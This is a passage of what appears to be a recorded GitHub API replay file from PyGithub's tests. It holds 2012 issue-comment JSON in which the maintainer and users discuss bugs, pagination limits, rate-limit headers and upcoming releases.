es/5783131","body":"Thank you for this useful contribution! You even respected my special spacing convention!\n\nI will publish the version 1.4 of PyGithub next week-end.","updated_at":"2012-07-24T16:07:06Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/7211543","created_at":"2012-07-24T16:07:06Z","user":{"type":"User","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","followers_url":"https://api.github.com/users/jacquev6/followers","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","repos_url":"https://api.github.com/users/jacquev6/repos","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","received_events_url":"https://api.github.com/users/jacquev6/received_events","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":7211543},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5783131","body":"Hum, I'm having trouble with my computer and not much time to fix it. I'll publish PyGithub 1.4 as soon as possible.","updated_at":"2012-07-31T18:47:09Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/7407798","created_at":"2012-07-31T18:47:09Z","user":{"type":"User","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","followers_url":"https://api.github.com/users/jacquev6/followers","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","repos_url":"https://api.github.com/users/jacquev6/repos","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","received_events_url":"https://api.github.com/users/jacquev6/received_events","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":7407798},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5806612","body":"Published, at last...","updated_at":"2012-08-04T06:11:43Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/7499550","created_at":"2012-08-04T06:11:43Z","user":{"type":"User","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","followers_url":"https://api.github.com/users/jacquev6/followers","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","repos_url":"https://api.github.com/users/jacquev6/repos","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","received_events_url":"https://api.github.com/users/jacquev6/received_events","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":7499550},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/6353712","body":"Hello!\n\nI confirm that the following code exhibits the same issue:\n\n import github\n\n g = github.Github()\n r = g.get_user( \"jacquev6\" ).get_repo( \"PyGithub\" )\n p = r.get_pull( 57 )\n print p.title, \"has\", p.comments, \"comments\"\n print [ c.body[ :15 ] for c in p.get_comments() ]\n\nIt prints:\n\n Allows connection to GitHub Enterprise installs on local URLs has 2 comments\n []\n\nThis last line calls API https://api.github.com/repos/PyGithub/PyGithub/pulls/57/comments, as documented in http://developer.github.com/v3/pulls/comments/#list-comments-on-a-pull-request, but the API returns an empty list. I've just managed to get the comments by calling https://api.github.com/repos/PyGithub/PyGithub/issues/57/comments instead. The issue must be on Github's side.\n\nAs a **temporary** work-around, you can use the following code to do as if the pull request is an issue, and call the other API:\n\n print [ c.body[ :15 ] for c in r.get_issue( p.number ).get_comments() ]\n\nRight now, I have not enough time to take care of this problem, but if it's still here at the beginning of September, I will contact Github and/or patch PyGithub.\n\nEnjoy,","updated_at":"2012-08-21T22:15:01Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/7918385","created_at":"2012-08-21T22:15:01Z","user":{"type":"User","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","followers_url":"https://api.github.com/users/jacquev6/followers","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","repos_url":"https://api.github.com/users/jacquev6/repos","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","received_events_url":"https://api.github.com/users/jacquev6/received_events","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":7918385}] https GET api.github.com None /repos/PyGithub/PyGithub/issues/comments?sort=created&direction=asc {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('content-length', '42659'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-limit', '5000'), ('vary', 'Accept, Authorization, Cookie'), ('x-ratelimit-remaining', '4967'), ('server', 'nginx'), ('last-modified', 'Fri, 21 Dec 2012 22:43:37 GMT'), ('connection', 'keep-alive'), ('etag', '"e9ac24ceac76d4d31cf648484a47b665"'), ('link', '; rel="next", ; rel="last"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Tue, 25 Dec 2012 11:54:04 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/4141750","body":"Thank you for reporting this. I'll publish a fix as soon as possible (tonight or tomorrow)","updated_at":"2012-04-17T05:50:25Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/5168757","created_at":"2012-04-17T05:50:25Z","user":{"type":"User","received_events_url":"https://api.github.com/users/jacquev6/received_events","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","repos_url":"https://api.github.com/users/jacquev6/repos","login":"jacquev6","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":5168757},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/4141750","body":"Fixed in version 0.6. Please `easy_install --upgrade pygithub`","updated_at":"2012-04-17T17:59:18Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/5181640","created_at":"2012-04-17T17:59:18Z","user":{"type":"User","received_events_url":"https://api.github.com/users/jacquev6/received_events","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","repos_url":"https://api.github.com/users/jacquev6/repos","login":"jacquev6","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":5181640},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/4141750","body":"yes fixed thanks","updated_at":"2012-04-17T18:58:05Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/5183010","created_at":"2012-04-17T18:58:05Z","user":{"type":"User","received_events_url":"https://api.github.com/users/tallforasmurf/received_events","avatar_url":"https://secure.gravatar.com/avatar/bff435ae5fc2e73d7c7c8351231e8040?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gists_url":"https://api.github.com/users/tallforasmurf/gists{/gist_id}","followers_url":"https://api.github.com/users/tallforasmurf/followers","following_url":"https://api.github.com/users/tallforasmurf/following","organizations_url":"https://api.github.com/users/tallforasmurf/orgs","starred_url":"https://api.github.com/users/tallforasmurf/starred{/owner}{/repo}","url":"https://api.github.com/users/tallforasmurf","gravatar_id":"bff435ae5fc2e73d7c7c8351231e8040","repos_url":"https://api.github.com/users/tallforasmurf/repos","login":"tallforasmurf","events_url":"https://api.github.com/users/tallforasmurf/events{/privacy}","subscriptions_url":"https://api.github.com/users/tallforasmurf/subscriptions","id":1137018},"id":5183010},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/4159230","body":"`UnknownGithubObject` is the exception I throw when you request an object that doesn't exist. Here, there is no download with `id` `1` or `\"foobar\"` in your repo.\r\n\r\nThe `TypeError` you get when calling `repo.get_download()`is because `get_download` requires an argument as stated in the [reference of classes](https://github.com/PyGithub/PyGithub/blob/master/ReferenceOfClasses.md) (See \"Downloads\" in \"class Repository\").\r\n\r\nSo, what argument should you pass to `get_downloads`? Well, the documentation says `id`, so you can first call `get_downloads` which returns a list of `Download`s, and look what is `Download.id`.\r\n\r\nThe fact is that I have no repository to test this with downloads, but here is an example with issues (`g` is a `Github` instance):\r\n\r\n >>> g.get_user().get_repo( \"PyGithub\" ).get_issues()[0].number\r\n 23\r\n >>> g.get_user().get_repo( \"PyGithub\" ).get_issue( 23 )\r\n \r\n\r\n(I took the `number` attribute of the first `Issue`, because the reference says that `get_issue` takes a `number`.)\r\n\r\nI hope it helps.","updated_at":"2012-04-17T21:10:15Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/5186061","created_at":"2012-04-17T21:10:15Z","user":{"type":"User","received_events_url":"https://api.github.com/users/jacquev6/received_events","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","repos_url":"https://api.github.com/users/jacquev6/repos","login":"jacquev6","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":5186061},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/4159230","body":"I hope this report will be useful, however, I am not going to be using this package after all. I discovered (what should have been obvious) that I can get everything I need from github just using urllib and reading the page.\r\n\r\n import urllib2\r\n try:\r\n u = urllib2.urlopen( 'https://github.com//', timeout=5 )\r\n except:\r\n #cannot contact github - try later\r\n #exit\r\n s = u.read()\r\n u.close()\r\n\r\nIt's all there, file names, SHA, last commit date, and if I want to read file data, no need to decode a blob, it's at ```https://raw.github.com///master/```\r\n","updated_at":"2012-04-19T16:40:02Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/5226090","created_at":"2012-04-19T16:40:02Z","user":{"type":"User","received_events_url":"https://api.github.com/users/tallforasmurf/received_events","avatar_url":"https://secure.gravatar.com/avatar/bff435ae5fc2e73d7c7c8351231e8040?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gists_url":"https://api.github.com/users/tallforasmurf/gists{/gist_id}","followers_url":"https://api.github.com/users/tallforasmurf/followers","following_url":"https://api.github.com/users/tallforasmurf/following","organizations_url":"https://api.github.com/users/tallforasmurf/orgs","starred_url":"https://api.github.com/users/tallforasmurf/starred{/owner}{/repo}","url":"https://api.github.com/users/tallforasmurf","gravatar_id":"bff435ae5fc2e73d7c7c8351231e8040","repos_url":"https://api.github.com/users/tallforasmurf/repos","login":"tallforasmurf","events_url":"https://api.github.com/users/tallforasmurf/events{/privacy}","subscriptions_url":"https://api.github.com/users/tallforasmurf/subscriptions","id":1137018},"id":5226090},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/4356743","body":"Thank you for the suggestion. It's somehow related to https://github.com/PyGithub/PyGithub/issues/6, even if I have not described it in details.\r\n\r\nI'm currently doing a very deep rewrite, which will lead to much more readable stack traces in case of exceptions, and I will include more details about the error. I may also be able to detect type errors *before* sending the request to github.\r\n\r\nBy the way, I'm very glad to hear that you have solved a real-life use case using PyGithub :-)","updated_at":"2012-05-01T22:03:59Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/5449237","created_at":"2012-05-01T22:03:59Z","user":{"type":"User","received_events_url":"https://api.github.com/users/jacquev6/received_events","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","repos_url":"https://api.github.com/users/jacquev6/repos","login":"jacquev6","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":5449237},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/4356743","body":"Good to hear you are already working on this in #6, so I suppose this can be tagged as duplicate and be closed.\r\n\r\nBTW, I cleaned up my script to convert Trac tickets to Github issues and uploaded it to PyPI: http://pypi.python.org/pypi/tratihubis/. It seems that at least some people find it useful, so hopefully it helps to popularize PyGithub a little.","updated_at":"2012-05-04T19:23:57Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/5518272","created_at":"2012-05-04T19:23:57Z","user":{"type":"User","received_events_url":"https://api.github.com/users/roskakori/received_events","avatar_url":"https://secure.gravatar.com/avatar/b58d0f1ea06b8d5de5f02c53f747ac03?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gists_url":"https://api.github.com/users/roskakori/gists{/gist_id}","followers_url":"https://api.github.com/users/roskakori/followers","following_url":"https://api.github.com/users/roskakori/following","organizations_url":"https://api.github.com/users/roskakori/orgs","starred_url":"https://api.github.com/users/roskakori/starred{/owner}{/repo}","url":"https://api.github.com/users/roskakori","gravatar_id":"b58d0f1ea06b8d5de5f02c53f747ac03","repos_url":"https://api.github.com/users/roskakori/repos","login":"roskakori","events_url":"https://api.github.com/users/roskakori/events{/privacy}","subscriptions_url":"https://api.github.com/users/roskakori/subscriptions","id":328726},"id":5518272},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3617711","body":"This was reported by user in #24. I close this one because the other one has more information.","updated_at":"2012-05-07T10:45:58Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/5547576","created_at":"2012-05-07T10:45:58Z","user":{"type":"User","received_events_url":"https://api.github.com/users/jacquev6/received_events","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","repos_url":"https://api.github.com/users/jacquev6/repos","login":"jacquev6","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":5547576},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/4622816","body":"Thank you for your feedback.\n\nI have indeed not yet implemented this feature because I have no real use of it: each API call is more than half a second long, so it's hard to reach the rate limit.\n\nAnyway, it is easy to extract the rate limiting headers, so I will add an attribute to the Github class to give access to their last value.\n\nExpect it in version 1.0. I will set an expected date on the milestone during the week-end.\n","updated_at":"2012-05-18T05:27:40Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/5780183","created_at":"2012-05-18T05:27:40Z","user":{"type":"User","received_events_url":"https://api.github.com/users/jacquev6/received_events","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","repos_url":"https://api.github.com/users/jacquev6/repos","login":"jacquev6","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":5780183},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/4622816","body":"Ah good point about it being hard to reach. Thanks for implementing it. No hurry, though, it's not that important. :-)","updated_at":"2012-05-18T08:34:04Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/5781803","created_at":"2012-05-18T08:34:04Z","user":{"type":"User","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","repos_url":"https://api.github.com/users/bilderbuchi/repos","login":"bilderbuchi","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","id":327442},"id":5781803},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/4622816","body":"Implemented in ca97469. Will be in version 1.0.","updated_at":"2012-05-21T11:17:12Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/5820199","created_at":"2012-05-21T11:17:12Z","user":{"type":"User","received_events_url":"https://api.github.com/users/jacquev6/received_events","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","repos_url":"https://api.github.com/users/jacquev6/repos","login":"jacquev6","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":5820199},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/4622816","body":"Thanks. :-)","updated_at":"2012-05-21T12:09:57Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/5820912","created_at":"2012-05-21T12:09:57Z","user":{"type":"User","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","repos_url":"https://api.github.com/users/bilderbuchi/repos","login":"bilderbuchi","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","id":327442},"id":5820912},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3624575","body":"It means that there will be three ways to create an instance of the Github class:\n github = Github()\n github = Github( login, password )\n github = Github( oauth_token )\n","updated_at":"2012-05-25T06:31:42Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/5924198","created_at":"2012-05-25T06:31:42Z","user":{"type":"User","received_events_url":"https://api.github.com/users/jacquev6/received_events","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","repos_url":"https://api.github.com/users/jacquev6/repos","login":"jacquev6","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":5924198},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/4780155","body":"You're definitively my best user ! I hope you will not get tired of discovering bugs and limitations in my library.\n\nThis issue is related to https://github.com/PyGithub/PyGithub/blob/master/github/Requester.py#L28 and the `pageCount < 10`: I've had to limit to 10 pages for some obscure reason I don't remember.\n\nIn version 1.0, `get_issues` (and other `get_collection`s) will not return a Python `list` but a `github.PaginatedList` which will be iterable and not limited to 10 pages, (but you won't be able to call `len` on it).","updated_at":"2012-05-28T13:52:22Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/5965724","created_at":"2012-05-28T13:52:22Z","user":{"type":"User","received_events_url":"https://api.github.com/users/jacquev6/received_events","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","repos_url":"https://api.github.com/users/jacquev6/repos","login":"jacquev6","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":5965724},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3527245","body":"For example, `Repository.edit` has a first parameter, `name`, which is mandatory, and should not. We could deduce it from the `name` attribute.","updated_at":"2012-05-28T13:58:35Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/5965812","created_at":"2012-05-28T13:58:35Z","user":{"type":"User","received_events_url":"https://api.github.com/users/jacquev6/received_events","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","repos_url":"https://api.github.com/users/jacquev6/repos","login":"jacquev6","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":5965812},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/4780155","body":"I see. Is there a possibility to increase the number of items per page to work around this for now? This is in the API (with `&per_page=100` according to API docs), but I'm unsure how to do this in PyGithub. Default is 25, max 100.","updated_at":"2012-05-28T14:04:42Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/5965891","created_at":"2012-05-28T14:04:25Z","user":{"type":"User","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","repos_url":"https://api.github.com/users/bilderbuchi/repos","login":"bilderbuchi","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","id":327442},"id":5965891},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/4780155","body":"If you can't or don't want to modify PyGithub locally, I'm afraid you're stuck to 10 pages of 25 items, sorry.\n\nIf you can patch PyGithub, just increase/remove the limit on `pageCount` in `Requester.py`.\n\nBe assured I will publish version 1.0 on next Monday, with all the things I promised :)","updated_at":"2012-05-28T14:42:47Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/5966555","created_at":"2012-05-28T14:42:47Z","user":{"type":"User","received_events_url":"https://api.github.com/users/jacquev6/received_events","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","repos_url":"https://api.github.com/users/jacquev6/repos","login":"jacquev6","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":5966555},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/4780155","body":"I see. I can either patch it locally, or just wait for next week. It will take a while until I get all the other work done, waiting for 1.0 probably won't delay me at all.","updated_at":"2012-05-28T14:47:02Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/5966633","created_at":"2012-05-28T14:47:02Z","user":{"type":"User","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","repos_url":"https://api.github.com/users/bilderbuchi/repos","login":"bilderbuchi","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","id":327442},"id":5966633},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/4793162","body":"Add a test `Issue33.testClosedIssues` when `Repository.get_issues` uses its 'state' parameter for issue 